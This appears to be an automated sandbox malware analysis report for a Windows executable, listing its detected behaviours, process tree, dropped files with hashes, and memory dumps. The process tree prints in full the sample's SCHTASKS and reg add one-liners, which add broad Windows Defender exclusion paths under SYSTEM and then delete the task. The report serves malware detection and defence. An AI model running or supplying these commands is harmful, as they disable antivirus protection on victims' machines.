Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    21/07/2026, 20:00

General

  • Target
    appstep.58680017.exe
  • Size 54.3MB
  • Sample260721-yrdwsstdkd
  • SHA256 b1cc8f19f0cff5b4a61db11e540f1ae44e6d929bf2ad4020ce18a289183883e0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe
    "C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4136
  • C:\Users\Public\kMMHv1\sJaoZs.exe
    C:\Users\Public\kMMHv1\sJaoZs.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\kMMHv1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4424
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\kMMHv1\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4268
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1328
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1912
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4432
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3916
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1920
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4648
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:968
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2308
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2440
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2092
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4384
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4516
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1624
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3496
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3436
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5048
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2928
                        • C:\Program Files (x86)\rbJUps\rbJUps.exe
                          "C:\Program Files (x86)\rbJUps\rbJUps.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:2232
                      • C:\Users\Public\kMMHv1\sJaoZs.exe
                        "C:\Users\Public\kMMHv1\sJaoZs.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1940
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\kMMHv1" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:696
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\kMMHv1" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4596
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1812
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4944
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3784
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:452
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:816
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3140
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4408

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\rbJUps\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 432af1dccc7617635d2d89c6eea177001d5bab80b931cda5548532b2549dcb0a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              image.png

                              • Path C:\Program Files (x86)\rbJUps\image.png
                              • Size 4.9MB
                              • SHA256 eef715fa8e743fbf143e52de1d591421ebcca954a4e8b13dc4e451573e070e0f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              rbJUps.exe

                              • Path C:\Program Files (x86)\rbJUps\rbJUps.exe
                              • Size 145KB
                              • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                              • Size 1KB
                              • SHA256 e535d2ba34aff4851d3fada9a6711e3418d6bfacff52b2a10ca5794998f221b3
                              • MD5 SHA1 SHA512 TLSH

                              B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                              • Size 1KB
                              • SHA256 0887c86b38370d50547353c120bbad0ff2f288aa0097bc758d60eab33bd9312d
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                              • Size 508B
                              • SHA256 88fb7e64a295afe2ba7023954bd4fee9e870db61e07eaa8f0a8e802cb7f633fe
                              • MD5 SHA1 SHA512 TLSH

                              B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
                              • Size 510B
                              • SHA256 1d3db5b9d1a8a4ccc45e340026d3efe6ccd897734c2bfc60b9002652867d3ea1
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\kMMHv1\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 fb75d837bc2ee5488b8758918b3311240058a13e3d807011d63222f07243aeb0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\kMMHv1\adoresd.dat
                              • Size 4.8MB
                              • SHA256 b06582c6f284e0aedc00864462295ce877197ba261cbd9c0c815d6c59944067f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\kMMHv1\msadox.tb
                              • Size 8KB
                              • SHA256 371194c0ac29fb25de2a6a8279359d0f2a8706b7e1bbcf877aae463b743dc54a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sJaoZs.exe

                              • Path C:\Users\Public\kMMHv1\sJaoZs.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1940-586-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/1940-569-0x00007FF8195C0000-0x00007FF819ADE000-memory.dmp

                              memory/1940-581-0x00007FF837280000-0x00007FF837282000-memory.dmp

                              memory/1940-582-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/1940-590-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/1940-591-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/1940-592-0x00007FF837270000-0x00007FF837272000-memory.dmp

                              memory/1940-587-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/1940-572-0x0000025771CD0000-0x000002577258E000-memory.dmp

                              memory/2232-668-0x0000000003B70000-0x0000000004353000-memory.dmp

                              memory/2232-663-0x0000000001490000-0x0000000001491000-memory.dmp

                              memory/2232-664-0x0000000074B10000-0x000000007525A000-memory.dmp

                              memory/2304-558-0x000001D686760000-0x000001D6867EA000-memory.dmp

                              memory/2304-538-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-564-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-554-0x000001D686320000-0x000001D68636E000-memory.dmp

                              memory/2304-535-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-529-0x00007FF837270000-0x00007FF837272000-memory.dmp

                              memory/2304-530-0x00007FF8195C0000-0x00007FF819ADE000-memory.dmp

                              memory/2304-537-0x00007FF837280000-0x00007FF837282000-memory.dmp

                              memory/2304-555-0x000001D686760000-0x000001D6867EA000-memory.dmp

                              memory/2304-557-0x000001D686760000-0x000001D6867EA000-memory.dmp

                              memory/2304-542-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-563-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-556-0x000001D686760000-0x000001D6867EA000-memory.dmp

                              memory/2304-549-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-545-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-544-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/2304-543-0x000001D685A20000-0x000001D6862DE000-memory.dmp

                              memory/4136-503-0x00007FF831BD0000-0x00007FF831BE0000-memory.dmp

                              memory/4136-523-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/4136-1-0x0000000000440000-0x000000000044B000-memory.dmp

                              memory/4136-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/4136-524-0x00007FF831BD0000-0x00007FF831BE0000-memory.dmp